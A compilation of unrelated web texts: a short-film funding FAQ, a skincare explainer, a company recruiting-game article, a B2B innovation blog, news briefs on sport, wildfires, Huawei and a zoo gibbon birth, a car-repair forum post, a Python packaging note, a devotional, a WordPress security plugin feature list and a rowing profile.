How many films are funded in a Someday Stories series?
Since 2017, Someday Stories has funded six films per series. In 2024, we are pleased to be funding eight films for the first time.
How long can my short film be?
Typically the screentime is between 9-12 minutes in duration. Refer to our former Someday Stories docos and dramas via our website for reference. Scripts typically represent one minute of screen time, so a 9-12 page scripted screenplay is welcome. Of course, some scripts can be longer or shorter in length yet still meet the 9-12 minute required duration.
The Outlook for Someday is a sustainability film project. Do I need to make an environmental film?
We love environmental films. That said, if you take a look at films from earlier series of Someday Stories, they cover many different perspectives and broad takes on sustainability. We want you to make a film that has meaning for you and articulates the change and impact on society you want for the future.
Age Eligibility
There are age restriction variations for specific production roles listed below but a team must comprise a producer who is separate to the director. If you are applying as a sole Director or Director/Writer, you need to be aged between 18 - 29 yrs, i.e born between 1 July 1994 and 1 February 2006. If you are applying as a sole writer (and not director) in any team, you can be any age. If you are applying as Producer or Co-Producer within a team, you may exceed the 29yr age limit, as we acknowledge this role is the most challenging to fulfill and therefore we reserve the right to ease the age restriction for this particular role. If a producer is aged 29 or over, please let us know. Remembering, Someday Stories is a youth-focused project targeted towards uplifting the voices of our youth. It is intended to provide opportunities for new and emerging filmmakers.
What if I don't have a producer?
Please get in touch with us before you apply - we will try our best to connect you with a person who might be interested. You can still apply without a producer but if shortlisted you will need to find a producer in order to move forward.
If I produce, can I also co-direct?
We encourage lead producers to commit themselves to producing 100%. Why? Because experienced producers are hard to find, and we want all emerging producers in our initiative to get as much as they can out of the experience of producing their short film. If you are a producer interested in learning to direct then we encourage you to apply as a director - if you meet the age eligibility of course.
Is it true your films release online? Will this make them ineligible to film festivals here and internationally?
All our films are contracted to release online via our screen partner's platforms; RNZ and Whakaata Māori, as well as our website, Facebook, Vimeo and YouTube channels. Each of our screen partners have a 3 month exclusivity period where any additional distribution needs to be signed off. It's true that this will make the films ineligible to enter some film festivals here and overseas, however we encourage you to check the eligibility criteria for the festivals you're interested in, as many film festivals already accept short films that are available to watch online. As Someday Stories is a web series, the films are technically web series' episodes and are therefore eligible for all web series festival categories.
Does our submitted proposal need to have a design component?
We highly recommend your proposal have a design component that is highly visual and reflects the mood / tone / world of what you want to achieve through the medium of film. Put your best foot forward. A plain word document with no imagery at all makes it very hard for ourselves and our screen partners to imagine. We want to be excited and inspired by your proposal.
If my genre is animation, experimental, or AI… can I include some test footage in my proposal?
Absolutely, yes. The more we get a sense of your filmic vision and world the better.
I've written an amazing script that I want to direct but I have no experience of the iwi and gender the story relates to, can I still submit it?
We are big on supporting filmmakers directing and creating films that are authentic to their lived experience. E.g, if a filmmaker is not of the specific culture, gender, iwi perspective they are exploring in their script or documentary concept, we would want a strong justification for why they feel this is their story to tell.
Multiple Submissions?
Individual film-makers may be involved in more than one application but upon being selected may only participate in one key role (e.g, Producer, Director, Writer etc) within one production team.
Compatible with Full-Time Study?
Making a film for Someday Stories is unlikely to be compatible with full-time study. Exceptions may include films being made as part of course requirements however they would still need to be made within the timeframe required for Someday Stories. A letter may need to be provided by the tertiary institution outlining how making the film will be compatible with course requirements and commitments. The Someday Stories team would also need to liaise directly with relevant course personnel both prior to commissioning and during production of the film.
Compatible with Full-Time Work?
While making a film for Someday Stories can be compatible with full-time work - it requires flexibility from your employer. But you will need to understand that it will take up the majority of your time outside of work.
Help! I don't know how to do a budget!
Please just do what you can and submit your application with an attempt at a budget. Depending on the strength of your application and your team, we will support you as best we can to craft a realistic budget. (Hint: if there is a helicopter in your script, it's likely to blow the budget). Here is a video that goes through what a film budget is and specifically the Someday Stories template.
What if I've been funded before?
Directors applying to Someday Stories who have previously received production funding from either NZ On Air, Te Māngai Pāho or the New Zealand Film Commission are ineligible to apply for Someday Stories. Exceptions to this rule include where a Director has received a commission to make a music video that has been funded by NZ On Air or where a filmmaker has received talent development or mentorship funding from one of the above funding bodies. We reserve the right to make further exceptions where appropriate. NB: Additional people working on the film such as Writer, Producer, key HOD's, and cast & crew members are not required to meet the above funding eligibility requirement. If you have questions or you would like to discuss this in more detail, please email firstname.lastname@example.com
How do you select a Someday Stories film?
We select films in consultation with our screen partners from RNZ and Whakaata Māori. Someday Stories is a curated series whereby each film is carefully chosen to create a balanced selection of films. In 2024 this will include at least two films that convey te ao Māori and ideally have at least 50% te reo Māori content. We are always looking to commission films from underrepresented communities within Aotearoa; Folks who are queer, trans, non-binary, Māori, Indigenous, Middle Eastern, Latin American, African, people of colour, disabled, parents, are/have been system-impacted, live rurally in NZ, are immigrants, and anyone who has experienced systemic oppression and/or gender-based violence are encouraged to apply.
What stories do Someday Stories want to see being submitted?
First and foremost we want to see scripts that have the most meaning for you. We like films that have a strong 'why' behind why you want to tell them. We welcome all genres and perspectives.
My script has helicopters, stunts and special effects. Do I need to say anything about that in my proposal?
Yes! If your film relies on elements that are traditionally expensive or dangerous to shoot, then we will need to understand how you plan to achieve your aims on the budget we provide. You may have a good plan and access to what you need at low or no cost, but unless we are made aware of your plan, we won't know about it which could affect your chances of being selected.
How much funding do dramas and docos receive?
- Dramas receive $20,000
- Documentary's receive $15,000

There's one question that perplexes even the savviest of skincare enthusiasts — what's the difference between moisturising and hydrating? And, no, they're not synonymous. Think about it: why are certain skincare formulas labelled 'hydrators', and a few called 'moisturisers'? Even though skincare isn't exceedingly complex, you must familiarise yourself with as many details as you can to pick the correct product for your skin and reap its full benefits. Let's find out what sets one apart from the other.
- The difference between moisturising and hydrating
- Moisturiser vs. hydrator
- So, which one must you invest in?
- What if your skin is dry and dehydrated?
The difference between moisturising and hydrating
Let's cut to the chase. Moisturising traps moisture from the surrounding air, seals it into the natural protective barrier of your skin and prevents water from escaping the skin. Hydration, on the other hand, refers to the absorption of moisture from the air, and the delivery of this moisture to your cells to increase the content of water within them.
Moisturiser vs. hydrator
Because there's no clear distinction between the two, brands employ these terms in their marketing interchangeably. But each formula addresses a different need.
Moisturisers are oil-based formulas containing occlusives and emollients (agents that diminish the loss of water) that trap moisture to create a seal over the surface of the skin to prevent hydration from evaporating.
Hydrators contain humectants like hyaluronic acid that attract and draw water into the cells and make them plump and supple from the inside out. Hydrating ingredients include glycerin, urea, and alpha-hydroxy acids, etc. A few examples of moisturising ingredients include petroleum jelly, shea butter, lanolin, lipids, jojoba oil, castor oil, etc.
Hydration reinstates the softness of our skin. But if there's no oil (or moisturiser) preventing the hydration from escaping, the effect will remain temporary, and you will end up struggling with deflated and lifeless skin. And if you slather oil on a dehydrated face, it'll appear smooth, but it will lack the softness that comes from hydration.
So, which one must you invest in?
If your skin is dry, it's because it lacks oil, and needs to be moisturised. And if your skin is dehydrated, it's because it lacks water, and needs to be hydrated. Dehydration results in sagging, wrinkles, tightness, peeling, and dullness. And it's a consequence of external factors like the weather, your diet, and caffeine consumption.
And dryness manifests as rough, flaky skin. It's a result of the condition/type of your skin. If your skin doesn't produce too much sebum (oil), your skin isn't oily at all, and dryness is perpetual.
Remember that it's possible for your skin to be dry but contain normal levels of water/hydration. So, in this case, your skin is dry but not dehydrated. And bear in mind that dryness and dehydration are two separate conditions, and both of them require different treatments.
What if your skin is dry and dehydrated?
These conditions aren't mutually exclusive. They can co-exist. If your skin is dry as well as dehydrated, you can incorporate a hydrating as well as a moisturising product into your routine. A serum infused with hyaluronic acid like the Simple Booster Serum - 3% Hyaluronic Acid + B5 For Deep Hydration can hydrate your skin, and a moisturiser infused with petroleum jelly can moisturise your skin. Ensure that you're always layering your face with lightweight hydrating products before diving into moisturising to lock it in. Since heavier moisturisers, if applied first, won't allow hydrating formulas to penetrate the skin.

Beyond, a cloud and server operations company, has released Tensei shitara Beyond no Intern Datta Ken, which can be translated as That Time I Got Reincarnated as a Beyond Intern. It's an RPG where players can experience what it's like to be an intern at the company. The game can be played for free on PC and smartphones and introduces players to the work and atmosphere of the company.
Tensei shitara Beyond no Intern Datta Ken is an RPG for new graduates and mid-career recruits from Beyond, an IT company with offices in Osaka, Yokohama, Tokushima, and Canada. Players take on the role of a hero who was transferred to the modern world from a fantasy world as they work as an intern for a day at Beyond. Beyond's business spans a wide range of operations from 24-hour server upkeep to systems development.
The game starts with a hero in a fantasy world being sent to another world to learn about the internet. When the hero comes to, he finds himself in a conference room. Now an intern, the hero talks with other employees while learning about server management and Beyond's other business operations. As these experiences accumulate, your level increases and you gain a variety of skills and equipment before facing off against CEO Masahiro Haraoka in an interview.
The game appears to take place in a pixel recreation of Beyond's Osaka office. In addition to the open spaces and individual offices, the characters besides the hero are actual employees of the company adding to the sense of realism. The objects themselves also have messages attached which give players a sense of the atmosphere around the office.
By talking with characters around the office, you'll hear about stuff like the internal music, boardgame, and mountain climbing clubs to their Appmill website monitoring service. The game not only has the impact of a fantasy hero being transported into an IT company, but it takes every opportunity to introduce players to Beyond.
You might assume that all you'll be doing is running errands, but there's also the previously mentioned interview with Masahiro Haraoka to deal with. The interview works like a turn-based battle where players use commands to answer interview questions. The hero can stay silent, defend, and make use of the skills they acquired during their internship when answering, with the goal of getting the best response. The game features multiple endings that change depending on how the interview goes.
It's interesting to see a company use a game to explain more about itself. Something else that's interesting is how the game was made by the company's PR and sales employees, with some of the music also being handled by internal staff. According to Haraoka, Debugging and testing was also done in cooperation with AIQVE ONE, and the effort seems to go beyond just a simple recruiting gimmick.
Beyond has previously made use of games when recruiting, such as seminars held in VR and a visual novel aimed at new recruits. The company's work includes the maintenance and operation of gaming infrastructure as well, so perhaps this gives us a glimpse of their outlook on the industry.
Tensei shitara Beyond no Intern Datta Ken is playable in Japanese on PC and smartphones and is available for free on Beyond's website.

In our previous blog post, we explored the importance of customer centric innovation and the key concepts and strategies necessary for creating meaningful solutions. While these principles apply to businesses across the board, B2B organizations face unique challenges and restrictions when implementing customer centric innovation. These challenges include navigating complex decision-making processes, dealing with multiple stakeholders, and overcoming organizational silos, among others.
In this follow-up blog post, we will specifically focus on addressing the difficulties and challenges that B2B organizations encounter while adopting customer centric innovation principles. We will discuss best practices for overcoming these challenges, and provide actionable insights on how B2B organizations can effectively implement customer centric innovation strategies to drive growth and success. By referring to the principles covered in our previous post and tailoring them to the unique needs of B2B businesses, your organization can unlock the full potential of customer centric innovation and achieve sustainable growth.
B2B decision-making can be intricate, with multiple stakeholders and longer sales cycles. For example, when selling software solutions to large enterprises, you might need to consider various departments, such as IT, finance, and operations. Don't let this complexity deter you! Instead, embrace it by tailoring your customer centric innovation efforts to meet the unique needs of B2B customers and understanding the factors that influence their decisions.
To effectively connect with your B2B customers, it's essential to know who the key decision-makers and influencers are in your target customer organizations. For instance, when targeting a manufacturing company, consider engaging with procurement managers, production supervisors, and quality control specialists. Keep an eye out for individuals with decision-making authority and those who shape the decision-making process. By understanding their roles and priorities, you can better engage with them and address their specific concerns.
Get to know your B2B customers inside and out! Dive deep into their needs, preferences, and pain points to drive customer centric innovation. For example, a construction equipment supplier could conduct interviews with contractors, project managers, and site supervisors to learn about their challenges and requirements. Use various research methods like customer interviews, surveys, or focus groups to collect valuable insights. Stay engaged with customers on social media, industry events, and other platforms to keep up with their evolving needs and expectations. Constantly monitoring and analyzing customer feedback will help you spot opportunities for innovation and improvement.
Customer centric innovation and validation is essential for success, but it can be challenging for B2B organizations to implement effectively. Gaining access to stakeholders and validating both the problem and solution are common obstacles.
In this section, we'll discuss strategies to overcome these challenges and help your innovation team effectively validate problems and solutions while fostering a collaborative environment across the organization.
In B2B environments, gaining access to customers for problem validation can be difficult due to factors such as long sales cycles, complex decision-making processes, and customers' reluctance to share sensitive information.
Collaborating with internal stakeholders who have direct access to customers can be a valuable strategy for overcoming this challenge. Sales, marketing, and customer support teams can provide useful insights to help refine your understanding of the problem.
Additionally, their connections can help set up interviews with B2B stakeholders, enabling you to gather even more insights from external sources. Leveraging their expertise and connections can help your team overcome the challenges of problem validation in the B2B context.

Traditional approaches to solution validation in B2B organizations can be slow and resource-intensive, often involving the construction of factories, pilot production lines, or the development of extensive prototypes before testing with customers.
Given the complex nature of their business, B2B organizations often tend to focus on whether they can build a solution, but the real questions they should be asking is, 'Is this what customers want, and are they willing to pay if we build it?'"
To overcome this, B2B organizations should adopt lean startup principles, such as creating minimum viable products (MVPs), running pilot projects, or using rapid prototyping. These methods allow organizations to test and validate their solutions with minimal investment and effort, gathering valuable feedback from customers and stakeholders to refine their offering.
As we've explored throughout this article, B2B organizations can achieve success in customer centric innovation by overcoming the unique challenges they face and implementing the best practices discussed. Here are the key takeaways for B2B organizations looking to excel in customer centric innovation:
Engage with internal stakeholders, such as sales, marketing, and customer support teams, to gain valuable insights and access to B2B clients for problem and solution validation. Foster a collaborative environment across the organization to ensure everyone works towards the common goal of addressing customer needs effectively.
Emphasize the importance of problem and solution validation to ensure your innovation efforts are genuinely addressing customer needs. Challenge the traditional validation methods that focus on building a solution rather than determining if customers actually want and are willing to pay for it. Adopt lean startup principles like MVPs, rapid prototyping, and pilot projects to validate your solution more quickly and with fewer resources.
Always prioritize the customers' needs and desires in your innovation efforts. By keeping the customer at the center of your innovation process, you increase the likelihood of creating meaningful solutions that resonate with your target audience and drive business success.
By adopting these best practices and focusing on customer centric innovation, B2B organizations can overcome the unique challenges they face and create solutions that not only address the needs of their customers but also contribute to the growth and success of their business.

I was born in Quebec but I have also lived in Alberta, the Yukon and the Northwest Territories.
Favorite part of the job may well be doing the Ask the Agent feature in Canadian Travel Press as it enables me to directly learn what travel agents are thinking about topical issues.
I believe that I have travelled to some 42 countries.
Best travel memories would have to include entering King Tut's tomb in Luxor, Egypt; arriving at Machu Picchu after hiking the Inca Trail; wandering the old quarter of Marrakech, Morocco; climbing temples in Tikal, Guatemala, and Palenque, Mexico; seeing the Petra by Night performance in Petra, Jordan; Angel Falls, Venezuela; the Hotel Nacional in Havana; and heading south on the Dempster Highway between Inuvik, N.W.T.; and Dawson City, Y.T.
My bucket list would have to include Potosi, Bolivia. By all reports its fascinating.

A pair of small wildfires burning in Yellowstone National Park are not impact tourist areas at this point, park officials say.
The latest fire was discovered last Saturday on the Blacktail Deer Plateau, near where a major fire from 1988 was. So far the fire has burned about 3/4 of a square mile.
A second fire has been burning in a remote area on the west side of the park since July 20th. Smoke from the fire is visible from the Grand Loop Road in the northern portion of Yellowstone.
It is believed that both fires began by lightning strikes.

Huawei Mate 30 cannot use Google Apps
The current problems with China and the US when it comes to the trade war is affection many companies. In addition to this, Huawei stands at the top of the list when it comes to getting affected by China-US trade war. By the looks of it, this is making it extremely difficult for Chinese telecommunication & smartphone giant to work with some of the American companies such as Google.
However, things seemed a little different after the Chinese manufacturer was offered with a 90-day deprivation from the on-going ban. Nevertheless, Google has now told Reuters that the forthcoming Huawei Mate 30 flagship. The new report suggests that the upcoming Huawei Mate 30 will not be able to sell with the licensed services and apps from Google Apps.
The government of the US said that the deprivation is limited to the deals and products which Huawei has with the companies in the US. On the other hand, it means that the new products are not simple eligible for any kind of collaboration.
Huawei is in a bad phase due to US-China trade
Currently, there are no updates as to what are the things which will happen. It is also very much unsure that Google would seek something like immunity from getting a specific product. Google also revealed that it had provided 130 distinctive applications to the Commerce Department of the US. However, none of the claims were granted by the US Commerce.
Currently, Huawei is said to be the second-largest smartphone brand in the entire world, right after Samsung. However, without having the full support of Google, the sales of Huawei might be in complete jeopardy. On the other hand, not incorporating the services from Google might severely have an impact on its stance on the Western Market.
Huawei, on the other hand, said that they would use the Google ecosystem and Android OS if the government allows them to make it happen.

Dubai, Nov 1: Two 17-year-old Indian amateurs living far from their homes are hoping to have a life-changing week as they tee up at the 12th edition of the storied Asia-Pacific Amateur Championship which gets underway at the Dubai Creek Golf and Yacht Club on Wednesday.
The shy-soft spoken Dubai-based Arjun Gupta, and the self-taught Shubham Jaglan, who has lived a life under the spotlight as a child prodigy since the age of six, hope to take the next big step in their golf careers. Gupta and Jaglan are part of the Indian contingent of AAC debutants.
Though Gupta played some golf in India three years ago, he is born and brought up in Dubai, where his parents live and work. The other Indians in the field are Rohan Dholepatil (25), Akshay Neranjan (20), 2019 All India Amateur winner Aryan Roopa Anand (19) and Milind Soni (16).
Arkesh Bhatia, who holds Indian nationality, is playing this week on a nomination from the Emirates Golf Association.
The annual championship, which offers a spot on two of the most prestigious major championships next year – the Masters at Augusta National Golf Club and The Open at St Andrews' Old Course – was not held in 2021 due to the pandemic.
Though Gupta played some golf in India three years ago, he is born and brought up in Dubai, where his parents live and work. Jaglan grew up in a family of wrestlers in a village called Israna in Haryana but is now a freshman at the University of Florida.
The shy and soft-spoken Arjun, who reached the Round of 16 at the US Junior Amateurs, is quite experienced in a manner of speaking, as he has also played in European Tour events in Abu Dhabi and secured a fourth-place finish in Jordan on the MENA pro tour in the Middle East. He was also the winner of the Faldo Series Middle East in 2019 and runner-up at the Grand Final. Interestingly, his twin sister, Natalii will play in the Women's Amateur Asia-Pacific Championship in Abu Dhabi next week.
In 2015, Arjun and Natalii teamed up at the Dubai Creek Golf and Yacht Club to win the Emirates Creek Pairs tournament.
A huge fan of Rory McIlroy, Arjun said, "I have been preparing for this event ever since I heard I was in the list. I know about the AAC and it was cool to see the flags with pictures of the winners of previous editions. I saw the picture of Hideki Matsuyama, who won twice, and has now won the Masters, too. That is very inspiring. I want to play my best and have a shot at playing the Masters and the Open."
Talking of his experience at playing the Dubai Creek, he added, "I have played here a lot and I like the course. Though of late I have been playing at other courses, in the past month or so I have been here often."
On how he came to play golf, Arjun said, "I always used to hit balls with plastic clubs around the house from a young age, but I didn't start playing with proper clubs until I was six. My father bought me my first set of clubs and he took me and Natalii (sister) over to the Montgomerie Course (in Dubai) where we played on a course for the first time"
One of the highpoints of his young career has been an interaction with McIlroy and said, "I was lucky enough to have a lesson with him and he gave me some pointers on my game, which has really helped me progress."
Another compelling story in Indian team is Shubham Jaglan, touted as a child prodigy as he won virtually every event he played before he turned 10. Now studying and pursuing golf in Florida, Jaglan, 17, turned to golf because his grandfather wanted him to choose a sport other than wresting. "That was despite no one having played or heard about golf in my family," he said recently.
Self-taught and through watching golf videos on YouTube, Jaglan, later had Arjuna Awardee and well-known Nonita Lall Qureshi as his coach and mentor. He has also been through some injuries despite his young age but is now in Florida and looking forward to s fruitful career.
Jaglan, a medallist in various age-groups at the IMG World Juniors in San Diego, has also been on Ted Talks and this AAC experience could well be the beginning of a new stage in his career.
The team is accompanied by Farzan Heerjee, a veteran golf official and part of the Indian Golf Union.

Well guys I have a problem with my Headers on my 94 GT.. Well I just got done at the shop I work on my car at, and hooked up all my EGR system to keep it running good and such. Well when I took the old shit off the Tube that goes from the center of the pass header to the EGR snapped.. So I did what I could do. I went to Home Depot and got a brass Air fitting and threaded it into the header and I cut and filed down the part that screws onto the EGR. Now my thing I did was, I got some high temp heater hose and connected the 2 sides. It worked good for 2-3 days . But I just went outside to check it out.. The hose split on the inside right were it bent to line up with one of the ends.. What have you guys done to fix this problem? Im shure some of yours broke on yea, I cant be the first one to break this crappy little piece of pipe.

Packaging code is a frequent approach in both open-source and business Python development. You can use various tools, such as Cookiecutter, or you can package your package manually.
Now, you also have a much simpler solution, a makepackape Python package, with which it takes just one simple shell command to create a package: $ makepackage my_package This will create a Python package named my_package. If you want to add command-line interface to it, add a --cli flag: $ makepackage my_package --cli That's all you need! You will create a package with several functions, documentation, doctests and pytests; you only need to fill in setup.py in several places and LICENSE in one place. makepackage's assumption is simplicity, so it does offer any additional functionality. This means you can create just one structure (a common one) of a Python package (with or without a CLI command). After you have called the above command, you can start developing your package - fill in the above-mentioned fields, and start replacing the existing functions and tests. Is there a simpler way? You can install makepackage from PyPi: $ pip install makepackage You can also check out the package's repository in GitHub: https://github.com/nyggus/makepackage.

This month, our meditation has been excerpted from the book entitled, Bound to Be Free compiled by Jan Pit. In the following short quotation from the heart of Yang Zhang (from China. A fiery evangelist from China writing under a pseudonym for his protection), there is fodder for reflection and perhaps application:
I have hidden your words in my heart that I might not sin against you. (Psalm 119:11)
To lay up God's words in our hearts takes time. It means that we have to read God's Word so many times that it becomes part of us.
Some people have the Bible, but they never read it. They have laid up God's Word on a bookshelf.
But we must lay it up in our hearts. Nobody can take that away from us. Wherever we are, we have it with us. In freedom--and in prison.
That is why we in China, read God's Word as many times as we can. We feel already privileged to have a copy of the Bible.
But we also know that the Bible can be taken away from us any time--or that we may be sent to places where we cannot take a Bible along.
That's why we memorize as much as we can. One of the best known Christians was Rev. John Sung. He once said: 'When I was young I was locked up in a mental hospital for 190 days. I was so glad that I could keep my Bible and I read it many times through during those six months.'
When he came out of the mental hospital his doctors expected that his spirit had been broken. But he came out a stronger Christian than ever before. None of the doctors understood--but we did!
Do you?
A moment of introspection: If there is any similarity between Christians in today's world, it may rest on our common or shared belief in God, and in His Son, Jesus Christ. For each of us, God's Word--His Holy Bible--played an important part in our coming to such belief. We know the power inherent in God's Word--a power that gives new life, provides endurance, grants wisdom and growth in spiritual stature, instills love for our heavenly Father, and serves as our handbook for living in belief. But Brother Zhang asks if we have discovered a deeper dimension of the Living Word, the Holy Bible. Mr. Zhang says that this deeper dimension makes the difference between not understanding the empowerment and girding up of faith, and failure to understand why an imprisoned Christian's spirit had not been broken through his incarceration.
What is this deeper dimension? Some would call it burying God's truth deep within our heart. Some would describe it as immersing our soul in the living God, always having Truth at hand, and knowing and applying that truth in our daily Christian walk. Others would term it "laying up God's Word in our hearts." Yet still other Christians might claim it is boring, or too hard, perhaps "I'm too old to memorize Scripture," or "I'm too young to memorize Scripture", or it is unfruitful, or of no practical good. Mahatma Gandhi was once quoted as saying "The Bible is full of power, yet most Christians treat it as if it were merely literature." As Brother Zhang recounted, it takes time "to lay up God's words in our hearts." Did he feel that time to be lost, or improperly spent, or unwisely devoted? No. Psalm 19:9-10 and Psalm 119:72 describe God's Word as more valuable than diamonds or gold, sweeter than honey. Should we not hide such treasures in our heart--against the day when we have no Bible at hand? Whether young or old, new or wizened in the faith, hide the Word! Whether harried by the tyranny of time and schedule, or possessing copious time to devote to one's Maker and His Holy Writ--read God's Word as many times as you can, and memorize as much as you can. Find an accountability partner to help you. Consider investing in a Bible memorization program for your computer. I have been using a good program to help in this, called Memlok. It can be found at www.memlok.com. Consider the following:

Another good tool for memorizing God's Word is "The Topical Memory System", available from www.navpress.com. Whatever way we hide the word in our heart, though, the important thing is to begin and keep at it. In the spirit of the Psalmist, we hide the word in our heart, so that we may not sin against God. That's kind of important, isn't it? According to Mr. Zhang, and to the Psalmist, YES!

LAS VEGAS — The search continues.
The Giants wanted to have a new defensive coordinator in place by the end of this past week but that did not happen.
Instead of finding a successor to Wink Martindale, the Giants are actually adding to the candidate list.
Head coach Brian Daboll interviewed Daronte Jones, the Vikings' defensive backs coach and passing game coordinator, last week at the Senior Bowl in Mobile, Ala., the Post confirmed.
That is the eighth known candidate for the defensive coordinator role, a key position on the offensive-minded Daboll's staff.
Jones, 45, served as the defensive coordinator for the National Team at the Senior Bowl.
Notably, the Giants' quarterbacks coach, Shea Tierney, was the offensive coordinator for the National squad.
Jones played cornerback at Temple and then Morgan State and embarked on his coaching career in 2001.
He made it to the NFL in 2016 with the Dolphins.
He has also worked for the Bengals and his first stint with the Vikings was in 2020 on Mike Zimmer's staff.
He left the league to become the defensive backs coach at LSU but it was a brief stay in Baton Rouge, La., lasting only the 2021 season working on Ed Ogeron's staff.
When Brian Kelly took over in 2022, he did not retain Jones and the new Vikings head coach, Kevin O'Connell, welcomed Jones back as the defensive backs coach, adding defensive pass game coordinator to his job description as one of the top assistants for defensive coordinator Brian Flores.
Jones has never been a defensive coordinator in the NFL.
Daboll twice interviewed Dennard Wilson, the former Ravens defensive backs coach, but Wilson went to the Titans.
The only Giants interviewee whose team is still playing is Chiefs linebackers coach Brendan Daly, who would not be able to be hired until after Super Bowl 2024.
Bills linebackers coach Bobby Babich met with Daboll but Babich was promoted by the Bills to their defensive coordinator role.
Two former NFL defensive coordinators, Shane Bowen (Titans) and Derrick Ansley (Chargers) also met with Daboll, as did Dolphins linebackers coach Anthony Campanile.
The Giants wanted to speak with Ejiro Evero but new Panthers head coach Dave Canales brought Evero back as the defensive coordinator.

iThemes Security Pro is the most comprehensive WordPress security plugin available. It includes all the features of iThemes Security and adds features like two-factor authentication, malware scanning, automatic WordPress updates and more.
Core Features of iThemes Security Pro Plugin
- Brute Force WordPress Password Protection Limit the number of failed login attempts allowed for users using WordPress force protection. If someone tries to guess your password, it gets blocked after a few unsuccessful attempts.
- Detect file changes If someone succeeds in accessing your website, they will most likely add, delete, or modify the website file. Get email notifications of recent file changes so you know if you've been hacked.
- Detects 404
- If the bot crawls your website for vulnerabilities, it will generate a lot of 404 errors. iTheme Security will block this IP address after the limit you set (by default, 20 errors in 5 minutes).
- Strong password protection Indicates what level of users on your website (admin, editor, user, etc.) should have strong passwords. Forcing a strong password is one of the best ways to protect WordPress.
- Block bad users Hold on users Bad stay away from your website if they have too many failed login attempts, if they generate too many 404 errors or if they are on the bot's blacklist.
- Stand by Not changing your website 24 hours a day? The Harden WordPress feature makes the WordPress dashboard inaccessible for certain hours so no one else can sneak in and try to make changes.
- Function "hide Login & Admin" Change the /wp-admin/login.php URL of your WordPress login so that an attacker doesn't know where to find your site's entrance. This feature is also good for helping customers remember their login links. Backup
- Database Back up your databases and send them via email. Make full backups and send them to destinations for external storage.
- Notification Receive an email notification email when someone is blocked after too many failed login attempts or when a file on your website has been modified.
- Scan WordPress for malware The iTheme Security plugin uses the Sucuri SiteCheck crawler to scan for malware in WordPress. Sucuri SiteCheck uses 10-point testing to scan your website for known malware, blacklist status, website errors, and outdated software. With iTheme Security Pro, you can enable daily malware scans and receive email notifications if a problem is detected.
- WordPress version Outdated software – whether it's WordPress, a theme, or a plugin – compromises your websites because of security vulnerabilities commonly known to cyber criminals. The new version of the iTheme Security Pro version control module can automatically update new versions of WordPress, themes, and plugins, as well as take measures to increase security when website software fails. time.
- The WordPress magic link module Magic Links feature allows you to log in when your username is blocked by Local Brute Force Protection. When your username is blocked, you can request an email with a special login link. Using email will bypass the blocking of usernames, while the attackers will still be blocked.
- Two-factor authentication Thanks to WordPress two-factor authentication from iTheme Security Pro, users need to enter a password and an additional code sent to a mobile device, such as a smartphone or tablet. To successfully log in to your user account, you need a password and a code. Two-factor authentication adds an extra layer of WordPress security to ensure that you're logged in, not the visitor (or even guessing) your password.

Endangered White-Cheeked Gibbon Born In Dierenrijk
September 07, 2022
Mierlo, September 6, 2022 - A white-cheeked gibbon was born on September 1 in Dierenrijk, a zoo in The Netherlands. The white-cheeked gibbon, found in China, Laos and Vietnam, is a critically endangered monkey species in the wild.
In the wild, this gibbon species is mainly found in the tops of high jungle trees. The greatest threat to these animals is humans. They are widely hunted for food and for the preparation of traditional medicines. In addition, a lot of habitat is disappearing due to the felling of trees and increasing agriculture.
European management program
There is therefore a European management program for this gibbon species. In this way zoos ensure a healthy reserve population. The birth of this gibbon in Dierenrijk also falls under this program. Stephan Rijnen is therefore very happy with this birth: "We are happy to be able to contribute in this way to the preservation of this species."
In addition, Dierenrijk also supports Association Anoulak through the Wildlife Foundation. This organization focuses on biodiversity research, anti-poaching patrols, education and support of the local population. They focus on various plant and animal species in the area, including the white-cheeked gibbon.
Second time
It is the second time that a white-cheeked gibbon has been born in Dierenrijk. Father Eric and mother Kanette became parents of Jaya in 2018. Rijnen says: "Both the parents and Jaya and the newborn young are doing well. With this birth, four white-cheeked gibbons now live in the park."
Flexible singers and singers
Gibbons can almost always be found in the trees and they rarely come to the ground. These animals have long arms and the joints in their shoulders and wrists are very flexible. They can rotate their arms 360 degrees without letting go of a branch. Because they have such long arms and flexible joints, they can swing distances of about three meters between trees. In addition, these monkeys can also walk through the trees. They do this upright with their arms above their heads or to the side to maintain their balance.
"This gibbon species marks their territory by singing. The sound can be heard up to three kilometers away," says Rijnen. "They also sing to seduce others and to strengthen the bond with each other. In addition, they also let each other know where they are in this way, because in the tropical rainforest they can hear each other better than they can see each other."
Family groups
The gibbons are born with a light brown coat and after about one year it turns black. The coat color of the females becomes light brown again at the age of five to six years, when they are sexually mature. From this age, the males and females can therefore be distinguished from each other by these color differences. As the name suggests, both the males and females have white cheeks.
This monkey species lives in a group of two to six animals. The group consists of one family: a man, woman and their boy. Gibbons are one of the few monkey species where the male and female remain loyal to each other. These animals can have young all year round and they give birth to one young about every two to three years. The young feed on their mothers until they are about two years old and around the age of four or five they really mature. When they are five or six years old, the gibbons can have young themselves. At that point, they leave their family to start a new group of their own.

The path to senior representation in the GB Rowing team may seem, at times, a route less travelled by those who begin their rowing careers at a junior level. But as Rose Crawford found out from two of our current stars, there are clear footprints to follow
For juniors starting rowing this season, the senior World Rowing Championships must seem very far away. The miles required to make it on the grandest of stages are substantial but the British Rowing pathway, designed to break the journey down into smaller, more manageable chunks, leaves the door very much to open to burgeoning young talent.
Like several of the current GB Rowing Team, Kyra Edwards and James Rudkin learnt to row as juniors and have been selected for the World Championships in Racice later this month. We caught up with them to talk about their experiences.
Humble beginnings
Kyra first began rowing on indoor machines in her school PE lessons before joining her local rowing club in Nottingham, which had a World Class Start Programme.
James was brought up in a rowing family; his father, Andrew, enjoyed a successful career as a sculler. James first rowed at the age of seven and was mostly coached by his dad throughout his junior years.
Both James and Kyra had their first taste of international rowing at the GB vs France J16 match, followed by the Coupe de la Jeunesse and then the Junior World Championships – a transition through the junior ranks that will be familiar to many around the country.
The two young rowers learned a lot off the water as well as on it as a result. For instance, when James went on training camp before Junior Worlds, it was the longest he had been away from home. It taught him valuable skills such as sharing a room with a teammate, knowing how to relax and even just the simple things such as the start sequence and the buzzer. For Kyra, racing over several days and being away on training camps has taught her the importance of home comforts – whenever she goes away now, she always takes her favourite blanket, cushion and teddy. Whilst she realises this is more at the extreme end, she says that many of the team "bring something like a mug to remind them of home".
Student rhythm
